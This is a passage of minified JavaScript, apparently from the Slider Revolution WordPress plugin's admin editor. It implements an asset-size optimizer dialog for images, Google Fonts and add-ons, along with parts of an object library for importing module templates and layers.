S=RVS.OZ[p].layers[g.group.puid];"group"===S.type&&(h.w=l(S.size.width,h.w).sizes,h.h=l(S.size.height,h.h).sizes)}"column"===g.type?(m.rw=l(g.size.width,h.w,RVS.F.convertFraction(g.group.columnSize),g.group.columnbreakat).max,m.rh=l(g.size.height,h.h).max):(m.rw=l(g.size.width,h.w).max,m.rh=l(g.size.height,h.h).max),RVS.ENV.optlist.append(t(m)),RVS.OZ.toLoad[RVS.S.optUID]=RVS.OZ.list[RVS.S.optUID].url}}}for(c in RVS.OZ.fontFamilies)RVS.OZ.fontFamilies.hasOwnProperty(c)&&(v=i({alias:c,weights:RVS.OZ.fontFamilies[c].weights}),RVS.ENV.optlist.append(v));for(c in RVS.OZ.settings.addOns)RVS.OZ.settings.addOns.hasOwnProperty(c)&&!0===RVS.OZ.settings.addOns[c].enable&&(e=a({alias:void 0===RVS.LIB.ADDONS||void 0===RVS.LIB.ADDONS[c]||void 0===RVS.LIB.ADDONS[c].full_title?c:RVS.LIB.ADDONS[c].full_title,slug:c}),RVS.ENV.optlist.append(e));var f=void 0!==RVS.ENV.output_compress&&RVS.ENV.output_compress.length>0;RVS.ENV.optlist.append(r({alias:RVS_LANG.coretools,size:f?"43 kb":"116 kb",warning:f?"":RVS_LANG.enablecompression})),RVS.ENV.optlist.append(r({alias:RVS_LANG.corejs,size:f?"72 kb":"289 kb",warning:f?"":RVS_LANG.enablecompression})),RVS.ENV.optlist.append(r({alias:RVS_LANG.corecss,size:f?"11 kb":"55 kb",warning:f?"":RVS_LANG.enablecompression})),RVS.OZ.coreFullSize=f?134:481,function(){if(void 0===RVS.OZ.loadAddons||0==RVS.OZ.loadAddons.length)return;RVS.F.ajaxRequest("get_addons_sizes",{addons:RVS.OZ.loadAddons},function(e){if(e.success){for(var t in e.addons)if(RVS.F.isNumeric(parseInt(e.addons[t]))){var i=Math.round(parseInt(e.addons[t],0)/1e3);jQuery("#addrowsize_"+t).html(i+" kb"),RVS.OZ.addOnsFullSize+=i}d()}},void 0,!0)}(),RVS.F.ajaxRequest("get_same_aspect_ratio",{images:RVS.OZ.toLoad},function(e){if(e.success){for(var t in e.images)if(e.images.hasOwnProperty(t))for(var i in RVS.OZ.list[t].images=jQuery.extend(!0,{},e.images[t]),RVS.OZ.list[t].images)RVS.OZ.list[t].images.hasOwnProperty(i)&&!0===RVS.OZ.list[t].images[i].default&&(RVS.OZ.list[t].selected=jQuery.extend(!0,{},RVS.OZ.list[t].images[i]));d()}},void 0,!0)}}(),jQuery("#rbm_optimizer_list").RSScroll({wheelPropagation:!1,suppressScrollX:!0}),RVS.F.RSDialog.center()}function t(e){RVS.S.optUID++;var t='<div id="OPTROW_'+RVS.S.optUID+'" class="optim_row" data-uid="'+RVS.S.optUID+'">';return t+='<div class="optim_cell op_c_a"><div class="opt_img" style="background-image:url('+e.url+')"></div>'+e.alias+"</div>",t+='<div class="optim_cell op_c_b">'+RVS_LANG.calculating+"</div>",t+='<div class="optim_cell op_c_c"><ofs_mark class="ofsmark_a"></ofs_mark><ofs_mark class="ofsmark_b"><div class="ofsinfo" data-optim="'+e.rw+" x "+e.rh+'"></div></ofs_mark><ofs_mark class="ofsmark_c"><div class="ofsinfo" data-optim="'+2*e.rw+" x "+2*e.rh+'"></div></ofs_mark><ofs_mark class="ofsmark_d"></ofs_mark><opt_fs_grd></opt_fs_grd></div>',t+='<div class="optim_cell op_c_d"></div>',t+='<div class="optim_cell op_c_e"></div>',t+="</div>",RVS.OZ.list[RVS.S.optUID]={row:jQuery(t),url:e.url,rw:e.rw,rh:e.rh,path:e.path,bgsize:e.bgsize,pathURL:e.pathURL,pathSize:e.pathSize,slideid:e.slideid,layerid:e.layerid,imgtype:e.imgtype},RVS.OZ.list[RVS.S.optUID].row}function i(e){e.alias=e.alias.trimStart(),e.alias=e.alias.trimEnd();var t=e.alias.split(" ").join("+"),i=e.alias.split(" ").join("_").split(",").join("_"),a=e.weights.toString().split(",").join("%2C"),r=function(e){if(null==RVS||void 0===RVS.LIB||void 0===RVS.LIB.FONTS)return!1;var t=!1;for(var i in RVS.LIB.FONTS)!0===t||!RVS.LIB.FONTS.hasOwnProperty(i)||"custom"!==RVS.LIB.FONTS[i].type&&"websafe"!==RVS.LIB.FONTS[i].type||(t=RVS.LIB.FONTS[i].label==e);return t}(e.alias),o='<div class="optim_row">';return o+='<div class="optim_cell op_c_a"><i class="material-icons">text_fields</i>'+e.alias+" "+e.weights.toString()+"</div>",o+='<div class="optim_cell op_c_b" id="fontrowsize_'+i+'">'+(!0===r?"N.A":RVS_LANG.calculating)+"</div>",o+='<div class="optim_cell op_c_c"></div>',o+='<div class="optim_cell op_c_d"></div>',o+='<div class="optim_cell op_c_e"></div>',o+="</div>",o=jQuery(o),!0!==r&&function(e,t,i){var a=new XMLHttpRequest;a.open("GET",e,!0),a.onreadystatechange=function(){if(this.readyState==this.DONE){var e=[],r=a.response.split("url(");for(var o in r)if("h"===r[o][0]||"H"===r[o][0]){var l=r[o].split(") format");-1==jQuery.inArray(l[0],e)&&e.push(l[0])}for(var n in e)s(e[n],t,i)}},a.onerror=function(e){jQuery("#fontrowsize_"+i)[0].innerHTML="N.A."},a.send()}("https://fonts.googleapis.com/css?family="+t+":"+a,e.alias,i),o}function a(e){RVS.OZ.loadAddons.push(e.slug),e.alias=e.alias.replace("Slider Revolution","");e.alias.split(" ").join("_");var t='<div class="optim_row">';return t+='<div class="optim_cell op_c_a"><i class="material-icons">extension</i>'+e.alias+"</div>",t+='<div class="optim_cell op_c_b" id="addrowsize_'+e.slug+'">'+RVS_LANG.calculating+"</div>",t+='<div class="optim_cell op_c_c"></div>',t+='<div class="optim_cell op_c_d"></div>',t+='<div class="optim_cell op_c_e"></div>',t+="</div>",t=jQuery(t)}function r(e){var t='<div class="optim_row">';return t+='<div class="optim_cell op_c_a"><i class="material-icons">code</i>'+e.alias+"</div>",t+='<div class="optim_cell op_c_b">'+e.size+"</div>",t+='<div class="optim_cell op_c_c"></div>',t+='<div class="optim_cell op_c_d">'+e.warning+"</div>",t+='<div class="optim_cell op_c_e"></div>',t+="</div>",t=jQuery(t)}function o(e){for(var t in void 0!==e.idle&&void 0===e.idle.fontFamily&&(e.idle.fontFamily="Roboto"),RVS.OZ.fontFamilies=void 0===RVS.OZ.fontFamilies?{}:RVS.OZ.fontFamilies,RVS.OZ.fontFamilies[e.idle.fontFamily]=void 0===RVS.OZ.fontFamilies[e.idle.fontFamily]?{weights:[],italic:!1}:RVS.OZ.fontFamilies[e.idle.fontFamily],RVS.V.avSizes)void 0!==e.idle&&void 0!==e.idle.fontWeight&&void 0!==e.idle.fontWeight[RVS.V.avSizes[t]]&&-1===jQuery.inArray(e.idle.fontWeight[RVS.V.avSizes[t]].v,RVS.OZ.fontFamilies[e.idle.fontFamily].weights)&&RVS.OZ.fontFamilies[e.idle.fontFamily].weights.push(e.idle.fontWeight[RVS.V.avSizes[t]].v);RVS.OZ.fontFamilies[e.idle.fontFamily].italic=!0===RVS.OZ.fontFamilies[e.idle.fontFamily].italic||!0===e.idle.fontStyle}function s(e,t,i){var a=new XMLHttpRequest;a.open("HEAD",e,!0),a.onreadystatechange=function(){if(this.readyState===this.DONE){var e=parseInt(a.getResponseHeader("Content-Length"));RVS.OZ.fontFamilies[t].size=void 0===RVS.OZ.fontFamilies[t].size?e:RVS.OZ.fontFamilies[t].size+e,jQuery("#fontrowsize_"+i)[0].innerHTML=Math.round(parseInt(RVS.OZ.fontFamilies[t].size)/1e3)+" kb",p()}},a.onerror=function(e){jQuery("#fontrowsize_"+i)[0].innerHTML="N.A."},a.send()}function l(e,t,i,a){var r=0,o={};for(var s in RVS.V.avSizes){var l=r;void 0!==i?("notebook"===a&&jQuery.inArray(RVS.V.avSizes[s],["t","m","n"])>=0&&(i=1),"mobile"===a&&jQuery.inArray(RVS.V.avSizes[s],["m"])>=0&&(i=1),"tablet"===a&&jQuery.inArray(RVS.V.avSizes[s],["t","m"])>=0&&(i=1),l=t[RVS.V.avSizes[s]]*i):(void 0!==e&&void 0!==e[RVS.V.avSizes[s]]&&(l=void 0!==e[RVS.V.avSizes[s]].v?RVS.F.isNumeric(parseInt(e[RVS.V.avSizes[s]].v))?e[RVS.V.avSizes[s]].v:r:RVS.F.isNumeric(parseInt(e[RVS.V.avSizes[s]]))?e[RVS.V.avSizes[s]]:r),l=(l+"").indexOf("%")>=0?t[RVS.V.avSizes[s]]*(parseInt(l,0)/100):parseInt(l,0)),r=Math.max(l,r),o[RVS.V.avSizes[s]]=l}return{max:parseInt(r,0),sizes:o}}function n(e){e.h,e.w;return 0===e.rh&&0===e.rw&&(e.rh=e.h,e.rw=e.w),0===e.rh&&(e.rh=e.rw/e.w*e.h),0===e.rw&&(e.rw=e.rh/e.h*e.w),{width:e.rw,height:e.rh}}function d(){for(var e in RVS.OZ.minFullSize=0,RVS.OZ.list)if(RVS.OZ.list.hasOwnProperty(e)){var t,i,a,r,o=RVS.OZ.list[e],s=jQuery(o.row.find(".op_c_c")),l={index:-1,val:0},d={index:-1,val:999999},u="width",v=0,g=0,m=0,h=0,S=[];if(void 0!==o.selected){if(RVS.F.isNumeric(o.selected.size)){o.currentSize=o.selected.size,o.currentUrl=o.selected.url;var f=Math.round(o.selected.size/1e3)+" kb";o.row.find(".op_c_b")[0].innerHTML=f}(t=n({rw:o.rw,rh:o.rh,w:o.selected.width,h:o.selected.height})).width<t.height&&o.selected.width>o.selected.height&&(u="height"),"contain"===o.bgsize&&(u="width"===u?"height":"width")}if(void 0!==t){for(var b in o.images)if(o.images.hasOwnProperty(b)){var y=o.images[b][u]/t[u]*100/3;if(y>=33&&y<=67&&g++,1==o.images[b].default)i=y>=33&&y<=67,a=y>67,m=y,h=o.images[b].size,v=c({cont:s,ozindex:e,imgindex:b,left:y>100?100:y,amnt:v,class:"selected original"});else if(o.images[b][u]===t[u]||2*o.images[b][u]===t[u])v=c({cont:s,ozindex:e,imgindex:b,left:y>100?100:y,amnt:v});else if(l.val<y&&y<33)l={index:b,val:y,size:o.images[b].size};else if(d.val>y&&y>67)d={index:b,val:y,size:o.images[b].size};else if(y>33&&y<67){for(var R in r=y<38?38:y>62?62:y,S)Math.abs(S[R]-r)<3&&(r+=r<S[R]?-3:3);S.push(r),v=c({cont:s,ozindex:e,imgindex:b,left:r,amnt:v})}o.images[b].cs=y}-1!==l.index&&(Math.abs(l.val-m)<3&&(l.val+=m<l.val?3:-3),r=l.val<=3?3:l.val>30?30:l.val,v=c({cont:s,ozindex:e,imgindex:l.index,left:r,amnt:v})),-1!==d.index&&(!0!==a||m>d.val)&&(Math.abs(d.val-m)<3&&(d.val+=m<d.val?3:-3),r=d.val>=97?97:d.val<70?70:d.val,v=c({cont:s,ozindex:e,imgindex:d.index,left:r,amnt:v}));var _=h;-1!==l.index&&RVS.F.isNumeric(parseInt(l.size,0))?_=h>l.size?parseInt(l.size,0):h:-1!==d.index&&RVS.F.isNumeric(parseInt(d.size,0))&&(_=h>d.size?parseInt(d.size,0):h),RVS.OZ.minFullSize+=_}var V="";0===g?V=RVS_LANG.chgimgsizesrc:g>0&&!0!==i&&(V=RVS_LANG.pickandim),""!==V&&(o.row.find(".op_c_d")[0].innerHTML=V),o.row[0].dataset.currentinfo=V}RVS.OZ.minFullSize=RVS.OZ.minFullSize/1e3,p(!0)}function c(e){return e.class=void 0===e.class?"":e.class,e.cont.append('<div data-ozindex="'+e.ozindex+'" data-imgindex="'+e.imgindex+'" class="ofs_markpoint '+e.class+'" style="left:'+e.left+'%"></div>'),e.amnt+1}function p(e){var t=[];for(var i in RVS.OZ.slideFullSize=0,RVS.OZ.list)if(RVS.OZ.list.hasOwnProperty(i)){var a=RVS.OZ.list[i];if(RVS.F.isNumeric(a.currentSize)&&-1==jQuery.inArray(a.currentUrl,t)){t.push(a.currentUrl),RVS.OZ.slideFullSize+=Math.round(a.currentSize/1e3);var r=Math.round(a.currentSize/1e3)+" kb";a.row.find(".op_c_b")[0].innerHTML=r}}for(var o in RVS.OZ.fontsFullSize=0,RVS.OZ.fontFamilies)RVS.OZ.fontFamilies.hasOwnProperty(o)&&void 0!==RVS.OZ.fontFamilies[o].size&&RVS.F.isNumeric(parseInt(RVS.OZ.fontFamilies[o].size))&&(RVS.OZ.fontsFullSize+=Math.round(parseInt(RVS.OZ.fontFamilies[o].size)/1e3));!0===e&&(RVS.OZ.slideFullSizeCache=RVS.OZ.slideFullSize);var s=parseInt(RVS.OZ.fontsFullSize)+parseInt(RVS.OZ.addOnsFullSize)+parseInt(RVS.OZ.coreFullSize),l=parseInt(RVS.OZ.slideFullSizeCache)+s,n=parseInt(RVS.OZ.minFullSize)+s,d=parseInt(RVS.OZ.slideFullSize)+s,c=Math.round(n/l*100),p=Math.round((l-d)/l*100),u=l-d==0?"":" ( "+(l<d?"+":"-")+Math.abs(p)+"% ~ "+(l-d)+" kb)";jQuery("#optimizer_fullsize").html(d+" kb"),jQuery("#optimizer_cachedsize").html(RVS.OZ.slideFullSizeCache+s+" kb"),jQuery("#optimized_prec").html(RVS_LANG.sizeafteroptim+u),jQuery("#optimize_to_save").html(RVS_LANG.loadedmediainfo+" "+(100-c)+"% ~ "+(l-n)+" kb")}function u(e){if(e.index<e.slides.length){e.order=void 0===e.order?0:e.order,e.order++;var t=e.slides[e.index];if(jQuery.inArray(t+"",RVS.OZ.inWork)>=0){var i=JSON.stringify(RVS.OZ[e.slides[e.index]].slide),a=JSON.stringify(RVS.OZ[e.slides[e.index]].layers),r={slider_id:RVS.ENV.sliderID,slide_id:e.slides[e.index],params:i,layers:a,slide_order:e.order};RVS.DOC.trigger("rs_save_slide_params",[r]),RVS.F.ajaxRequest("save_slide",r,function(t){t.success&&(e.index++,u(e))},void 0,void 0,RVS_LANG.saveslide+'<br><span style="font-size:17px; line-height:25px;">"'+RVS.OZ[e.slides[e.index]].slide.title+'"</span>')}else e.index++,u(e)}else RVS.OZ.inWork=void 0===RVS.OZ.inWork?[]:RVS.OZ.inWork,void 0!==e.trigger&&e.trigger()}function v(){var e=JSON.stringify(RVS.OZ.settings),t=RVS.OZ.slideIDs.slice(),i=-1;for(var a in t)t.hasOwnProperty(a)&&(""+t[a]).indexOf("static")>=0&&(i=a);t.splice(i,1),RVS.F.ajaxRequest("save_slider",{slider_id:RVS.ENV.sliderID,params:e,slide_ids:t},function(e){e.success&&void 0!==e.missing&&e.missing.length>0&&u({index:0,slides:RVS.OZ.slideIDs,works:e.missing})},void 0,void 0,RVS_LANG.saveslide+'<br><span style="font-size:17px; line-height:25px;">'+RVS_LANG.slidersettings+"</span>")}function g(e,t,i,a){if("string"==typeof t){var r=t.split("."),o=r.length,s=o-1,l=e;if(o)for(var n=0;n<o;n++)n<s&&void 0===l[r[n]]&&(l[r[n]]={}),n<s?l=l[r[n]]:l[r[n]]=i}}RVS.F.openOptimizer=function(t){if(function(){if(void 0!==RVS.S.optimizerListener)return;RVS.DOC.on("click","#rbm_optimizer .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("click",".optim_checkbox",function(){jQuery(this).toggleClass("checked")}),RVS.DOC.on("mouseenter",".ofsinfo",function(e){var t=jQuery(this),i=t.closest(".optim_row"),a=i.find(".op_c_d");a[0].innerHTML="Optimal: "+this.dataset.optim}),RVS.DOC.on("mouseleave",".ofsinfo",function(e){var t=jQuery(this),i=t.closest(".optim_row"),a=i.find(".op_c_d");i[0].dataset.currentinfo=void 0===i[0].dataset.currentinfo?"":i[0].dataset.currentinfo,a[0].innerHTML=i[0].dataset.currentinfo}),RVS.DOC.on("click mouseenter",".ofs_markpoint",function(e){var t=jQuery(this),i=t.closest(".optim_row"),a=i.find(".op_c_b"),r=i.find(".op_c_d"),o=i.find(".op_c_e"),s=i[0].dataset.uid,l=RVS.OZ.list[s].images[t[0].dataset.imgindex];if("mouseenter"===e.type)RVS.OZ.list[s].lastSize=RVS.OZ.list[s].currentSize,RVS.OZ.list[s].lastUrl=RVS.OZ.list[s].currentUrl;else{if(t.hasClass("selected"))return;RVS.OZ.list[s].lastSize=l.size,RVS.OZ.list[s].lastUrl=l.url}RVS.OZ.list[i[0].dataset.uid].currentSize=l.size,RVS.OZ.list[i[0].dataset.uid].currentUrl=l.url,r[0].innerHTML="Dimension: "+l.width+" x "+l.height,RVS.F.isNumeric(l.size)&&(a[0].innerHTML=Math.round(l.size/1e3)+" kb"),"mouseenter"!==e.type&&(RVS.OZ.list[s].pickedImage=t[0].dataset.imgindex,i.find(".ofs_markpoint.selected").removeClass("selected"),t.addClass("selected"),i[0].dataset.currentinfo=l.cs<31||l.cs>69?RVS_LANG.pickandim:"",!0!==l.default?o[0].innerHTML='<i class="material-icons">flash_on</i>':o[0].innerHTML=""),p()}),RVS.DOC.on("mouseleave",".ofs_markpoint",function(){var e=jQuery(this),t=e.closest(".optim_row"),i=t.find(".op_c_b"),a=t.find(".op_c_d"),r=t[0].dataset.uid;RVS.OZ.list[r].lastSize!==RVS.OZ.list[r].currentSize&&(RVS.OZ.list[r].currentSize=RVS.OZ.list[r].lastSize,RVS.OZ.list[r].currentUrl=RVS.OZ.list[r].lastUrl,RVS.F.isNumeric(RVS.OZ.list[r].lastSize)&&(i[0].innerHTML=Math.round(RVS.OZ.list[r].lastSize/1e3)+" kb"),p()),t[0].dataset.currentinfo=void 0===t[0].dataset.currentinfo?"":t[0].dataset.currentinfo,a[0].innerHTML=t[0].dataset.currentinfo}),RVS.DOC.on("click","#rbm_optpanel_savebtn",function(){var e=[],t=[];for(var i in RVS.OZ.list)if(RVS.OZ.list.hasOwnProperty(i)&&void 0!==RVS.OZ.list[i].pickedImage){var a=RVS.OZ.list[i],r=a.images[a.pickedImage];!0!==r.default&&(-1==jQuery.inArray(a.slideid,e)&&e.push(a.slideid),void 0!==a.layerid&&t.push({slideid:a.slideid,layerid:a.layerid,type:a.imgtype,url:r.url}),g(RVS.OZ,a.pathURL,r.url),g(RVS.OZ,a.pathSize,a.pickedImage))}if(e.length>0)if(void 0!==RVS.SLIDER){for(i in e)"settings"!==e[i]&&-1==jQuery.inArray(e[i],RVS.SLIDER.inWork)&&RVS.SLIDER.inWork.push(e[i]),RVS.SLIDER[e[i]]=jQuery.extend(!0,RVS.SLIDER[e[i]],RVS.OZ[e[i]]);for(i in t)if(t.hasOwnProperty(i)){var o=t[i],s=jQuery("#_lc_"+o.slideid+"_"+o.layerid+"_");s.length>0&&("image"===o.type&&s.find("._lc_image_inside_").attr("src",o.url),RVS.F.drawHTMLLayer({uid:o.layerid}))}RVS.F.convertIDStoTxt(),RVS.F.convertArrayToObjects(),RVS.F.saveSlides({index:0,slides:RVS.SLIDER.slideIDs,trigger:RVS.F.saveSliderSettings,works:RVS.SLIDER.inWork})}else{for(i in e)RVS.OZ.inWork=void 0===RVS.OZ.inWork?[]:RVS.OZ.inWork,"settings"!==e[i]&&-1==jQuery.inArray(e[i],RVS.OZ.inWork)&&RVS.OZ.inWork.push(e[i]),RVS.OZ[e[i]]=jQuery.extend(!0,RVS.OZ[e[i]],RVS.OZ[e[i]]);for(i in t)if(t.hasOwnProperty(i)){var o=t[i],s=jQuery("#_lc_"+o.slideid+"_"+o.layerid+"_");s.length>0&&("image"===o.type&&s.find("._lc_image_inside_").attr("src",o.url),RVS.F.drawHTMLLayer({uid:o.layerid}))}convertIDStoTxt(),RVS.OZ.settings.nav.arrows.presets=Object.assign({},RVS.OZ.settings.nav.arrows.presets),RVS.OZ.settings.nav.bullets.presets=Object.assign({},RVS.OZ.settings.nav.bullets.presets),RVS.OZ.settings.nav.thumbs.presets=Object.assign({},RVS.OZ.settings.nav.thumbs.presets),RVS.OZ.settings.nav.tabs.presets=Object.assign({},RVS.OZ.settings.nav.tabs.presets),void 0!==RVS.OZ.settings.skins&&void 0!==RVS.OZ.settings.skins.colors&&(RVS.OZ.settings.skins.colors=Object.assign({},RVS.OZ.settings.skins.colors)),u({index:0,slides:RVS.OZ.slideIDs,trigger:v,works:RVS.OZ.inWork})}RVS.F.RSDialog.close()}),RVS.DOC.on("click","#more_about_optimizer",function(){RVS.F.RSDialog.create({modalid:"#rbm_optimizer_infos",bgopacity:.5}),RVS.F.RSDialog.center()}),RVS.DOC.on("click","#rbm_optimizer_infos .rbm_close",function(){RVS.F.RSDialog.close()}),jQuery("#rbm_optimizer_infos").closest(".rb-modal-wrapper").appendTo(jQuery(document.body)),RVS.S.optimizerListener=!0}(),void 0!==t&&(void 0!==t.sliderid&&""!==t.sliderid||void 0!==t.alias&&""!==t.alias)){RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.loadingcontent});var i={};void 0!==t.alias&&""!==t.alias&&(i.alias=t.alias),void 0!==t.sliderid&&""!==t.sliderid&&(i.id="slider-"+t.sliderid),setTimeout(function(){RVS.F.ajaxRequest("get_full_slider_object",i,function(t){if(void 0===t.id)RVS.F.showWaitAMinute({fadeOut:500,text:RVS_LANG.preparingdatas});else{for(var i in RVS.ENV.sliderid=t.id,RVS.ENV.sliderID=t.id,RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.preparingdatas}),t.slider_params.alias=t.alias,t.slider_params.title=t.title,RVS.OZ={slideIDs:[]},RVS.OZ.settings=jQuery.extend(!0,{},t.slider_params),void 0!==t.static_slide&&null!=t.static_slide.params&&void 0!==t.static_slide.params.static&&!0===t.static_slide.params.static.isstatic&&(RVS.OZ[t.static_slide.id]={slide:jQuery.extend(!0,{},t.static_slide.params),layers:jQuery.extend(!0,{},t.static_slide.layers)},RVS.OZ.slideIDs.push(t.static_slide.id)),t.slides)if(t.slides.hasOwnProperty(i)){let e=t.slides[i];RVS.OZ[e.id]={slide:jQuery.extend(!0,{},e.params),layers:jQuery.extend(!0,{},e.layers)},RVS.OZ.slideIDs.push(e.id)}e(),RVS.F.showWaitAMinute({fadeOut:500,text:RVS_LANG.preparingdatas})}},void 0,!0),RVS.F.showWaitAMinute({fadeOut:0,text:RVS_LANG.loadingcontent})},100)}else void 0!==RVS.SLIDER&&(RVS.S.optimID=RVS.SLIDER.id,RVS.OZ=jQuery.extend(!0,{},RVS.SLIDER),e())},convertIDStoTxt=function(){for(var e in RVS.OZ.slideIDs)RVS.OZ.slideIDs.hasOwnProperty(e)&&(RVS.OZ.slideIDs[e]=""+RVS.OZ.slideIDs[e]);for(var e in RVS.OZ.inWork)RVS.OZ.inWork.hasOwnProperty(e)&&(RVS.OZ.inWork[e]=""+RVS.OZ.inWork[e])}}(),window.RVS=void 0===window.RVS?{}:window.RVS,RVS.F=void 0===RVS.F?{}:RVS.F,RVS.ENV=void 0===RVS.ENV?{}:RVS.ENV,RVS.LIB=void 0===RVS.LIB?{}:RVS.LIB,RVS.V=void 0===RVS.V?{}:RVS.V,RVS.S=void 0===RVS.S?{}:RVS.S,RVS.C=void 0===RVS.C?{}:RVS.C,RVS.WIN=void 0===RVS.WIN?jQuery(window):RVS.WIN,RVS.DOC=void 0===RVS.DOC?jQuery(document):RVS.DOC,function(){var e={images:"photo_camera",modules:"aspect_ratio",moduletemplates:"aspect_ratio",layers:"layers",videos:"videocam",svgcustom:"copyright",svgs:"copyright",fonticons:"font_download",objects:"filter_drama"},t={xs:10,s:25,m:50,l:75,o:100},i={lottie:"Lottie Addon",slicey:"Slicey Addon",bubblemorph:"Bubble Morph Addon",shapebuilder:"Shape Builder Addon"};function a(t){jQuery("#ol_filter_"+t).remove(),R({groupType:t,groupAlias:RVS_LANG["ol_"+t],icon:e[t],count:RVS.LIB.OBJ.types[t].count,tags:RVS.LIB.OBJ.types[t].tags,custom:RVS.LIB.OBJ.types[t].upload,groupopen:!0})}function r(e,t){var i=void 0!==e.bg.src&&e.bg.src.length>3?e.bg.src:RVS.ENV.plugin_url+"admin/assets/images/sources/"+e.source+".png",a=void 0!==e.bg.style?e.bg.style:{};switch(Array.isArray(a)&&(a=RVS.F.toObject(a)),e.bg.type){case"image":a.backgroundImage="url("+i+")",tpGS.gsap.set(t,a);break;case"color":case"colored":case"solid":var r=window.RSColor.get(a["background-color"]);r.indexOf("gradient")>=0?tpGS.gsap.set(t,{backgroundImage:r}):tpGS.gsap.set(t,{backgroundColor:r});break;case"transparent":tpGS.gsap.set(t,{backgroundImage:"url("+RVS.ENV.plugin_url+"admin/assets/images/sources/"+(void 0===e.source?"gallery":e.source)+".png)",backgroundRepeat:"no-repeat",backgroundSize:"cover"})}}function o(e){if(e.index<=e.amount){var t=e.uids[e.index],i=c(t);if(1!==i.modal&&"1"!==i.modal||(RVS.LIB.OBJ.sliderPackageModal=!0,RVS.LIB.OBJ.sliderPackageModalsOrig.push(""+i.installed),RVS.LIB.OBJ.sliderPackageModalsOrigUid.push(i.uid)),void 0!==i.additions&&""!==i.additions&&(RVS.LIB.OBJ.sliderPackageAdditionsUID[i.uid]=i.additions,RVS.LIB.OBJ.sliderPackageAdditionsInstalled[i.installed]=i.additions),RVS.LIB.OBJ.addonsToInstall=[],null!==i.plugin_require&&void 0!==i.plugin_require&&i.plugin_require.length>0)for(var a in i.plugin_require)!1===i.plugin_require[a].installed&&RVS.LIB.OBJ.addonsToInstall.push(i.plugin_require[a].path.split("/")[0]);RVS.F.installModuleTemplateForPackage(RVS.LIB.OBJ.reDownloadTemplate||0==i.installed?{_:e,folderid:void 0!==sliderLibrary?sliderLibrary.selectedFolder:-1,uid:t,modal:!0}:{_:e,folderid:void 0!==sliderLibrary?sliderLibrary.selectedFolder:-1,uid:t,sliderid:i.installed})}else{p({uid:e.folderuid,hiddensliderid:!0}),RVS.LIB.OBJ.createBlankPage&&RVS.LIB.OBJ.success&&RVS.LIB.OBJ.success.draftpage&&RVS.DOC.trigger(RVS.LIB.OBJ.success.draftpage,{pages:RVS.LIB.OBJ.sliderPackageIds,modals:RVS.LIB.OBJ.sliderPackageModals,additions:RVS.LIB.OBJ.sliderPackageAdditions}),RVS.F.closeObjectLibrary();var r=void 0!==sliderLibrary?sliderLibrary.selectedFolder:-1;if(-1!==r&&(r=RVS.F.getOVSliderIndex(r),RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.sliders[r].id,children:sliderLibrary.sliders[r].children},function(e){}),-1!==sliderLibrary.sliders[r].parent)){var o=RVS.F.getOVSliderIndex(sliderLibrary.sliders[r].parent);RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.sliders[o].id,children:sliderLibrary.sliders[o].children},function(e){})}RVS.LIB.OBJ.sliderPackageModal&&RVS.F.ajaxRequest("adjust_modal_ids",{map:RVS.LIB.OBJ.sliderPackageReferenceMap},function(e){})}}function s(e,t){RVS.LIB.OBJ.selectedSlideId=e,void 0===RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers?RVS.F.ajaxRequest("get_layers_by_slide",{slide_id:t},function(e){if(e.success){var t=!0;if(void 0!==e.layers&&null!==e.layers)for(var i in e.layers){if(!t)continue;t="top"==i||"bottom"==i||"middle"==i}t?RVS.F.showInfo({content:RVS_LANG.nolayersinslide,type:"success",showdelay:0,hidedelay:2,hideon:"",event:""}):(RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers=jQuery.extend(!0,{},e.layers),RVS.F.layerImportList())}}):RVS.F.layerImportList()}function l(e){var t=!1;for(var a in RVS.S.extendedLayerTypes)1!=t&&RVS.S.extendedLayerTypes.hasOwnProperty(a)&&(a!==e&&RVS.S.extendedLayerTypes[a].subtype!==e||(t=!0));return 0==t&&(t=!i.hasOwnProperty(e)),t}function n(e,t,a){var r,o=void 0!==e.subtype&&""!==e.subtype&&0==l(e.subtype)?"disabled":"",s='\t<div id="layi_'+e.uid+'" class="'+o+" layimpli_element layimpli_level_"+t+'" data-uid="'+e.uid+'" data-type="'+e.type+'" data-puid="'+e.group.puid+'">';s+='\t\t<i class="layimpli_icon material-icons">'+RVS.F.getLayerIcon(e.type,e.subtype)+"</i>",s+='\t\t<div class="layimpli_icon_title">'+e.alias+"</div>",s+='\t\t<div class="layimpli_icon_dimension">'+e.size.width.d.v+" x "+e.size.height.d.v+"</div>",void 0!==e.subtype&&""!==e.subtype&&0==l(e.subtype)&&(s+='\t\t<div class="layimpli_icon_required">Required: '+(r=e.subtype,void 0!==i&&""!==i&&void 0!==i[r]?i[r]:r)+"</div>"),e.actions.action.length>0&&(s+='\t\t<div class="layimpli_icon_dimension">'+RVS_LANG.layerwithaction+"</div>");var n=RVS.F.layerFrameTriggeredBy({layerid:e.uid,src:RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers});return""!==n.alias&&""!==n.uid&&(s+='\t\t<div class="layimpli_icon_dimension">'+RVS_LANG.triggeredby+" "+n.alias+"</div>"),s+='\t\t<div class="layimpli_icon_checbox material-icons">radio_button_unchecked</div>',s+="\t</div>"}function d(e,t){var i;for(var a in RVS.LIB.OBJ.items[t])RVS.LIB.OBJ.items[t].hasOwnProperty(a)&&(i=""+RVS.LIB.OBJ.items[t][a].id==""+e?RVS.LIB.OBJ.items[t][a]:i);return i}function c(e){return function(e,t){var i;for(var a in RVS.LIB.OBJ.items[t])RVS.LIB.OBJ.items[t].hasOwnProperty(a)&&(i=RVS.LIB.OBJ.items[t][a].uid===e?RVS.LIB.OBJ.items[t][a]:i);return i}(e,"moduletemplates")}function p(e,t){for(var i in RVS.LIB.OBJ.items.moduletemplates)if(RVS.LIB.OBJ.items.moduletemplates.hasOwnProperty(i)&&RVS.LIB.OBJ.items.moduletemplates[i].uid===e.uid&&(RVS.LIB.OBJ.items.moduletemplates[i].installed=e.hiddensliderid,t&&(RVS.LIB.OBJ.items.moduletemplates[i].modal="1"),void 